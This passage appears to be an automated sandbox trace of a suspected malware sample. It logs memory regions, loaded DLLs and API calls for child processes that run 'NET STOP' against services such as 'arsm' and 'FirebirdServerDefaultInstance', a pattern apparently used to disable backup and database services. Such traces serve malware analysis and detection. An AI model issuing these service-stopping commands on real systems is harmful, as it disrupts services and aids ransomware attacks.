start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 861 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 862 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 863 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 864 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 865 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 866 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 867 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 868 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 869 start_va = 0x460000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 870 start_va = 0x5b0000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 871 start_va = 0x751e0000 end_va = 0x751e6fff entry_point = 0x751e0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 872 start_va = 0x751f0000 end_va = 0x7520bfff entry_point = 0x751f0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 873 start_va = 0x75210000 end_va = 0x7521efff entry_point = 0x75210000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 874 start_va = 0x75220000 end_va = 0x75238fff entry_point = 0x75220000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 875 start_va = 0x75240000 end_va = 0x7524efff entry_point = 0x75240000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 876 start_va = 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 877 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 878 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 879 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 880 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 881 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 882 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 883 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 884 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 885 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 886 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 887 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 888 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 889 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 890 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 891 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Thread: id = 16 os_tid = 0xabc Process: id = "16" image_name = "net1.exe" filename = "c:\\windows\\syswow64\\net1.exe" page_root = "0x4ea72000" os_pid = "0xac0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xab8" cmd_line = "C:\\Windows\\system32\\net1 STOP arsm /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 892 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 893 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 894 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 895 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 896 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 897 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 898 start_va = 0x180000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 899 start_va = 0xff0000 end_va = 0x1019fff entry_point = 0xff0000 region_type = mapped_file name = "net1.exe" filename = "\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe") Region: id = 900 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 901 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 902 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 903 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 904 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 905 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 906 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 907 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 908 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 909 start_va = 0x370000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 910 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 911 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 912 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 913 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 914 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 915 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 916 start_va = 0x560000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 917 start_va = 0x7e0000 end_va = 0x7effff entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 918 start_va = 0x75140000 end_va = 0x75157fff entry_point = 0x75140000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 919 start_va = 0x75160000 end_va = 0x75171fff entry_point = 0x75160000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 920 start_va = 0x75180000 end_va = 0x75190fff entry_point = 0x75180000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 921 start_va = 0x751a0000 end_va = 0x751c1fff entry_point = 0x751a0000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\SysWOW64\\logoncli.dll" (normalized: "c:\\windows\\syswow64\\logoncli.dll") Region: id = 922 start_va = 0x751d0000 end_va = 0x751d8fff entry_point = 0x751d0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\SysWOW64\\dsrole.dll" (normalized: "c:\\windows\\syswow64\\dsrole.dll") Region: id = 923 start_va = 0x75210000 end_va = 0x7521efff entry_point = 0x75210000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 924 start_va = 0x75220000 end_va = 0x75238fff entry_point = 0x75220000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 925 start_va = 0x75240000 end_va = 0x7524efff entry_point = 0x75240000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 926 start_va = 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 927 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 928 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 929 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 930 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 931 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 932 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 933 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 934 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 935 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 936 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 937 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 938 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 939 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 940 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 941 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 942 start_va = 0x75130000 end_va = 0x75131fff entry_point = 0x75130000 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Thread: id = 17 os_tid = 0xac4 [0038.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ffc1c | out: lpSystemTimeAsFileTime=0x1ffc1c*(dwLowDateTime=0xd82b4700, dwHighDateTime=0x1d4abdd)) [0038.536] GetCurrentProcessId () returned 0xac0 [0038.536] GetCurrentThreadId () returned 0xac4 [0038.536] GetTickCount () returned 0x19cf9 [0038.536] QueryPerformanceCounter (in: lpPerformanceCount=0x1ffc14 | out: lpPerformanceCount=0x1ffc14*=1811376600000) returned 1 [0038.536] GetModuleHandleA (lpModuleName=0x0) returned 0xff0000 [0038.536] __set_app_type (_Type=0x1) [0038.536] __p__fmode () returned 0x75ed31f4 [0038.536] __p__commode () returned 0x75ed31fc [0038.536] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffffe6) returned 0x0 [0038.537] __getmainargs (in: _Argc=0x1009064, _Argv=0x100906c, _Env=0x1009068, _DoWildCard=0, _StartInfo=0x1009024 | out: _Argc=0x1009064, _Argv=0x100906c, _Env=0x1009068) returned 0 [0038.537] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.537] GetConsoleOutputCP () returned 0x1b5 [0038.537] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x1009080 | out: lpCPInfo=0x1009080) returned 1 [0038.537] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.540] sprintf_s (in: _DstBuf=0x1ffbd4, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0038.540] setlocale (category=0, locale=".437") returned="English_United States.437" [0038.542] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0038.542] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0038.542] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP arsm /Y" [0038.542] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ff9a0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe")) returned 0x1c [0038.543] _wcsnicmp (_String1="/Y", _String2="/Y", _MaxCount=0x2) returned 0 [0038.543] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x1ffba4 | out: Buffer=0x1ffba4*=0x571bf0) returned 0x0 [0038.543] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x1ffba4 | out: Buffer=0x1ffba4*=0x571c08) returned 0x0 [0038.543] _fileno (_File=0x75ed2900) returned 0 [0038.543] _setmode (_FileHandle=0, _Mode=16384) returned 16384 [0038.543] _wcsicmp (_String1="accounts", _String2="STOP") returned -18 [0038.543] _wcsicmp (_String1="computer", _String2="STOP") returned -16 [0038.543] _wcsicmp (_String1="config", _String2="STOP") returned -16 [0038.543] _wcsicmp (_String1="continue", _String2="STOP") returned -16 [0038.543] _wcsicmp (_String1="cont", _String2="STOP") returned -16 [0038.543] _wcsicmp (_String1="file", _String2="STOP") returned -13 [0038.543] _wcsicmp (_String1="files", _String2="STOP") returned -13 [0038.543] _wcsicmp (_String1="group", _String2="STOP") returned -12 [0038.543] _wcsicmp (_String1="groups", _String2="STOP") returned -12 [0038.543] _wcsicmp (_String1="help", _String2="STOP") returned -11 [0038.543] _wcsicmp (_String1="helpmsg", _String2="STOP") returned -11 [0038.543] _wcsicmp (_String1="localgroup", _String2="STOP") returned -7 [0038.543] _wcsicmp (_String1="pause", _String2="STOP") returned -3 [0038.543] _wcsicmp (_String1="session", _String2="STOP") returned -15 [0038.543] _wcsicmp (_String1="sessions", _String2="STOP") returned -15 [0038.543] _wcsicmp (_String1="sess", _String2="STOP") returned -15 [0038.543] _wcsicmp (_String1="share", _String2="STOP") returned -12 [0038.543] _wcsicmp (_String1="start", _String2="STOP") returned -14 [0038.543] _wcsicmp (_String1="stats", _String2="STOP") returned -14 [0038.543] _wcsicmp (_String1="statistics", _String2="STOP") returned -14 [0038.543] _wcsicmp (_String1="stop", _String2="STOP") returned 0 [0038.543] _wcsicmp (_String1="accounts", _String2="arsm") returned -15 [0038.543] _wcsicmp (_String1="computer", _String2="arsm") returned 2 [0038.543] _wcsicmp (_String1="config", _String2="arsm") returned 2 [0038.543] _wcsicmp (_String1="continue", _String2="arsm") returned 2 [0038.544] _wcsicmp (_String1="cont", _String2="arsm") returned 2 [0038.544] _wcsicmp (_String1="file", _String2="arsm") returned 5 [0038.544] _wcsicmp (_String1="files", _String2="arsm") returned 5 [0038.544] _wcsicmp (_String1="group", _String2="arsm") returned 6 [0038.544] _wcsicmp (_String1="groups", _String2="arsm") returned 6 [0038.544] _wcsicmp (_String1="help", _String2="arsm") returned 7 [0038.544] _wcsicmp (_String1="helpmsg", _String2="arsm") returned 7 [0038.544] _wcsicmp (_String1="localgroup", _String2="arsm") returned 11 [0038.544] _wcsicmp (_String1="pause", _String2="arsm") returned 15 [0038.544] _wcsicmp (_String1="session", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="sessions", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="sess", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="share", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="start", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="stats", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="statistics", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="stop", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="time", _String2="arsm") returned 19 [0038.544] _wcsicmp (_String1="user", _String2="arsm") returned 20 [0038.544] _wcsicmp (_String1="users", _String2="arsm") returned 20 [0038.544] _wcsicmp (_String1="msg", _String2="arsm") returned 12 [0038.544] _wcsicmp (_String1="messenger", _String2="arsm") returned 12 [0038.544] _wcsicmp (_String1="receiver", _String2="arsm") returned 17 [0038.544] _wcsicmp (_String1="rcv", _String2="arsm") returned 17 [0038.544] _wcsicmp (_String1="netpopup", _String2="arsm") returned 13 [0038.544] _wcsicmp (_String1="redirector", _String2="arsm") returned 17 [0038.544] _wcsicmp (_String1="redir", _String2="arsm") returned 17 [0038.544] _wcsicmp (_String1="rdr", _String2="arsm") returned 17 [0038.544] _wcsicmp (_String1="workstation", _String2="arsm") returned 22 [0038.544] _wcsicmp (_String1="work", _String2="arsm") returned 22 [0038.544] _wcsicmp (_String1="wksta", _String2="arsm") returned 22 [0038.544] _wcsicmp (_String1="prdr", _String2="arsm") returned 15 [0038.544] _wcsicmp (_String1="devrdr", _String2="arsm") returned 3 [0038.544] _wcsicmp (_String1="lanmanworkstation", _String2="arsm") returned 11 [0038.544] _wcsicmp (_String1="server", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="svr", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="srv", _String2="arsm") returned 18 [0038.544] _wcsicmp (_String1="lanmanserver", _String2="arsm") returned 11 [0038.544] _wcsicmp (_String1="alerter", _String2="arsm") returned -6 [0038.544] _wcsicmp (_String1="netlogon", _String2="arsm") returned 13 [0038.545] _wcsupr (in: _String="arsm" | out: _String="ARSM") returned="ARSM" [0038.545] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x575470 [0038.547] GetServiceKeyNameW (in: hSCManager=0x575470, lpDisplayName="ARSM", lpServiceName=0x100aaf0, lpcchBuffer=0x1ffb40 | out: lpServiceName="", lpcchBuffer=0x1ffb40) returned 0 [0038.548] _wcsicmp (_String1="msg", _String2="ARSM") returned 12 [0038.548] _wcsicmp (_String1="messenger", _String2="ARSM") returned 12 [0038.548] _wcsicmp (_String1="receiver", _String2="ARSM") returned 17 [0038.548] _wcsicmp (_String1="rcv", _String2="ARSM") returned 17 [0038.548] _wcsicmp (_String1="redirector", _String2="ARSM") returned 17 [0038.548] _wcsicmp (_String1="redir", _String2="ARSM") returned 17 [0038.548] _wcsicmp (_String1="rdr", _String2="ARSM") returned 17 [0038.548] _wcsicmp (_String1="workstation", _String2="ARSM") returned 22 [0038.548] _wcsicmp (_String1="work", _String2="ARSM") returned 22 [0038.548] _wcsicmp (_String1="wksta", _String2="ARSM") returned 22 [0038.548] _wcsicmp (_String1="prdr", _String2="ARSM") returned 15 [0038.548] _wcsicmp (_String1="devrdr", _String2="ARSM") returned 3 [0038.548] _wcsicmp (_String1="lanmanworkstation", _String2="ARSM") returned 11 [0038.548] _wcsicmp (_String1="server", _String2="ARSM") returned 18 [0038.548] _wcsicmp (_String1="svr", _String2="ARSM") returned 18 [0038.548] _wcsicmp (_String1="srv", _String2="ARSM") returned 18 [0038.548] _wcsicmp (_String1="lanmanserver", _String2="ARSM") returned 11 [0038.548] _wcsicmp (_String1="alerter", _String2="ARSM") returned -6 [0038.548] _wcsicmp (_String1="netlogon", _String2="ARSM") returned 13 [0038.548] NetServiceControl (in: servername=0x0, service="ARSM", opcode=0x0, arg=0x0, bufptr=0x1ffb3c | out: bufptr=0x1ffb3c) returned 0x889 [0038.549] wcscpy_s (in: _Destination=0x100a4e8, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0038.549] LoadLibraryW (lpLibFileName="NETMSG") returned 0x75130000 [0038.550] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x75130000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0x100b338, nSize=0x800, Arguments=0x1009dd8 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0038.552] GetFileType (hFile=0xb) returned 0x2 [0038.552] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ffa5c | out: lpMode=0x1ffa5c) returned 1 [0038.552] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x100b338*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x1ffa7c, lpReserved=0x0 | out: lpBuffer=0x100b338*, lpNumberOfCharsWritten=0x1ffa7c*=0x1e) returned 1 [0038.553] GetFileType (hFile=0xb) returned 0x2 [0038.553] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ffa5c | out: lpMode=0x1ffa5c) returned 1 [0038.553] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff16cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1ffa7c, lpReserved=0x0 | out: lpBuffer=0xff16cc*, lpNumberOfCharsWritten=0x1ffa7c*=0x2) returned 1 [0038.553] _ultow (in: _Dest=0x889, _Radix=2095788 | out: _Dest=0x889) returned="2185" [0038.553] FormatMessageW (in: dwFlags=0x2800, lpSource=0x75130000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0x100b338, nSize=0x800, Arguments=0x1009dd8 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0038.553] GetFileType (hFile=0xb) returned 0x2 [0038.554] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ffa68 | out: lpMode=0x1ffa68) returned 1 [0038.554] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x100b338*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x1ffa88, lpReserved=0x0 | out: lpBuffer=0x100b338*, lpNumberOfCharsWritten=0x1ffa88*=0x34) returned 1 [0038.554] GetFileType (hFile=0xb) returned 0x2 [0038.554] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ffa68 | out: lpMode=0x1ffa68) returned 1 [0038.554] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff16cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1ffa88, lpReserved=0x0 | out: lpBuffer=0xff16cc*, lpNumberOfCharsWritten=0x1ffa88*=0x2) returned 1 [0038.555] NetApiBufferFree (Buffer=0x571bf0) returned 0x0 [0038.555] NetApiBufferFree (Buffer=0x571c08) returned 0x0 [0038.555] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP arsm /Y" [0038.555] exit (_Code=2) Process: id = "17" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4e0c8000" os_pid = "0xac8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdServerDefaultInstance /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" 